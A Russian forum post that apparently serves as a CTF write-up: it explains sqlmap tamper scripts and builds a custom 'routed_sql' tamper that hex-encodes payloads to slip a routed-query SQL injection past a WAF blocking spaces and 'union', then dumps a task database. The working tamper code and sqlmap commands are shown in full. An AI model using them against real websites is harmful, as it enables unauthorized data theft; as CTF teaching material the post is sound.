• Открыта запись на вторую часть курса по анонимности и безопасности в сети интернет "Paranoid II" от команды codeby. Анонимные роутеры, Подъём, настройка и администрирование Tor-ноды, Работа с железом ПК, Удаление аппаратных закладок, Минимизация рисков, Авторские разработки и многое другое. Подробнее ...

  • Напоминаем, что 1 декабря стартует курс "Тестирование Веб-Приложений на проникновение с нуля" от команды codeby. Общая теория, подготовка рабочего окружения, пассивный фаззинг и фингерпринт, активный фаззинг, уязвимости, пост-эксплуатация, инструментальные средства, Social Engeneering и многое другое. Подробнее ...

Ломаем через sqlmap и waf (создание тамперов)

SooLFaa

SooLFaa

Администратор
15.07.2016
811
1 327
Ну что, други-товарищи?! Давненько мы с вами не разговаривали. Поговорим?!
Статья по мотивам таска, который нам предложил @explorer, который находится тут а тут writeup
Прекрасный таск, отличная работа, но, всё же есть одна маленькая оплошность...
Автор таска заметил, что таск нерешаемый с помощью sqlmap. Что - же, прозвучало громко, попробуем развеять сей миф автоматизировать неавтоматизируемое.
Итак, Вашему вниманию предлагается старая добрая утилита sqlmap и такая штука как ТАМПЕРЫ.
Не буду писать уже написанное. Если кто - то не вкурсе, что за зверь такой тыкайте сюда
Я же напомню, что тамперы sqlmap, позволяют видоизменять боевую нагрузку с помощью сторонних скриптов и, таким образом, подстраивать sqlmap под реалии жизни (Waf bypass, сложные запросы, routed query)
Примеры тамперов:
Код:
apostrophemask,apostrophenullencode,appendnullbyte,base64encode,between,bluecoat,chardoubleencode,charencode,charunicodeencode,concat2concatws,equaltolike,greatest,halfversionedmorekeywords,ifnull2ifisnull,modsecurityversioned,modsecurityzeroversioned,multiplespaces,nonrecursivereplacement,percentage,randomcase,randomcomments,securesphere,space2comment,space2dash,space2hash,space2morehash,space2mssqlblank,space2mssqlhash,space2mysqlblank,space2mysqldash,space2plus,space2randomblank,sp_password,unionalltounion,unmagicquotes,versionedkeywords,versionedmorekeywords и многие другие
Как можно догадаться по имени, все они выполняют разную обработку и выполняют разные функции над боевой нагрузкой.
Например: Изменить регистр букв,заменить пробелы на комментарии /**/ и так далее.
Но что делать, когда базовые тамперы не справляются а крутить скулю ручками ой как не охото. Догадались?! - Напишем свой тампер.
Данный материал лишь пример под конкретный таск.
Исходные данные:
* таргет
* waf - который блочит пробелы и union
* routed_query sql injection -
Что хотим:
* заставить sqlmap решать конкретно этот таск
Поехали...
Для начала найдем способ как крутить скулю:
Далее понимаем, что перед нами routed query, соответственно мы должны упаковать запрос в запросе,я делаю это с помощью hex encode:
где 0x2720756e696f6e2073656c6563742076657273696f6e282923 - ' union select version()#
После чего нам предлагается крутить руками, но я ленивый, я всё таки заведу sqlmap
sqlmap -u --dbms mysql --technique=U --risk 3 --level 5
Ломаем через sqlmap и waf (создание тамперов)

Что же, мы не обмануты, sqlmap действительно не справился...
Взглянем в папочку /usr/share/sqlmap/tamper
Ломаем через sqlmap и waf (создание тамперов)

Видим кучу тамперов!
Давайте взглянем на их структуру...
Например space2comment
Код:
#!/usr/bin/env python

"""
Copyright (c) 2006-2017 sqlmap developers (http://sqlmap.org/)
See the file 'doc/COPYING' for copying permission
"""

from lib.core.enums import PRIORITY

__priority__ = PRIORITY.LOW

def dependencies():
    pass

def tamper(payload, **kwargs):
    """
    Replaces space character (' ') with comments '/**/'

    Tested against:
        * Microsoft SQL Server 2005
        * MySQL 4, 5.0 and 5.5
        * Oracle 10g
        * PostgreSQL 8.3, 8.4, 9.0

    Notes:
        * Useful to bypass weak and bespoke web application firewalls

    >>> tamper('SELECT id FROM users')
    'SELECT/**/id/**/FROM/**/users'
    """

    retVal = payload

    if payload:
        retVal = ""
        quote, doublequote, firstspace = False, False, False

        for i in xrange(len(payload)):
            if not firstspace:
                if payload[i].isspace():
                    firstspace = True
                    retVal += "/**/"
                    continue

            elif payload[i] == '\'':
                quote = not quote

            elif payload[i] == '"':
                doublequote = not doublequote

            elif payload[i] == " " and not doublequote and not quote:
                retVal += "/**/"
                continue

            retVal += payload[i]

    return retVal
Поехали по порядку:
* после таблицы импортов види функцию dependencies - она отвечает за зависимости от версии и базы
Например тампер только MySql выглядел бы так
Код:
def dependencies():
    singleTimeWarnMessage("tamper script '%s' is only meant to be run against %s < 5.1" % (os.path.basename(__file__).split(".")[0], DBMS.MYSQL))
* Следом идёт функция tamper - вот она то нам и нужна, тут вся наша логика.
Внутри мы можем писать все наши манипуляции с параметром payload и обязательно возвращать строку с финальной нагрузкой
Например для преобразования нагрузки в base64 - это выглядело бы так
Код:
def tamper(payload, **kwargs):
    """
    Base64 all characters in a given payload

    >>> tamper("1' AND SLEEP(5)#")
    'MScgQU5EIFNMRUVQKDUpIw=='
    """

    return base64.b64encode(payload.encode(UNICODE_ENCODING)) if payload else payload
Теперь есть всё чтобы написать свой.
Создаем новый тампер в той же папке routed_sql.py
Пишем обработчик:
Код:
#!/usr/bin/env python

import re

from lib.core.data import kb
from lib.core.enums import PRIORITY

__priority__ = PRIORITY.NORMAL

def dependencies():
    pass

def tamper(payload, **kwargs):
 
    retVal = "0'/**/union(select(1),({}));%00".format("0x" + "".join("{:02x}".format(ord(c)) for c in payload))

    return retVal
Алгоритм работы следующий:
* Я беру нагрузку 0'/**/union(select(1),({}));%00
* Кодирую payload в hex
* Вставляю на место второй колонки
Вызываем:
Код:
sqlmap -u http://bypassing.su/\?id\=-1 --tamper=routed_sql --dbms MySql  --tables
ВАУ Заработало
Ломаем через sqlmap и waf (создание тамперов)


Вот и таблички
Ломаем через sqlmap и waf (создание тамперов)


Осталось вытащить заветный токен
Код:
sqlmap -u http://bypassing.su/\?id\=-1 --tamper=routed_sql --dbms MySql  -T xz --dump
Ломаем через sqlmap и waf (создание тамперов)


Вот и всё! Конец!
 
Последнее редактирование:
explorer

explorer

Red Team
05.08.2018
650
1 413
Когда таск разложен по полочкам, то конечно уже всё видно что к чему. Но тем не менее полезный материал для многих. Думаю, что если хорошо подумать, то и без самописного тампера можно настроить прогу. Например нулевой байт можно добавить в конец нагрузки двумя способами - есть для него готовый тампер, а также можно прикрепить через суффикс.
 
  • Нравится
Реакции: gushmazuko
SooLFaa

SooLFaa

Администратор
15.07.2016
811
1 327
Когда таск разложен по полочкам, то конечно уже всё видно что к чему. Но тем не менее полезный материал для многих. Думаю, что если хорошо подумать, то и без самописного тампера можно настроить прогу. Например нулевой байт можно добавить в конец нагрузки двумя способами - есть для него готовый тампер, а также можно прикрепить через суффикс.
Нет нельзя, sqlmap не умеет в routed.
 
Мы в соцсетях:  ТелеграмВконтактеДзенФейсбукТвиттерЮтуб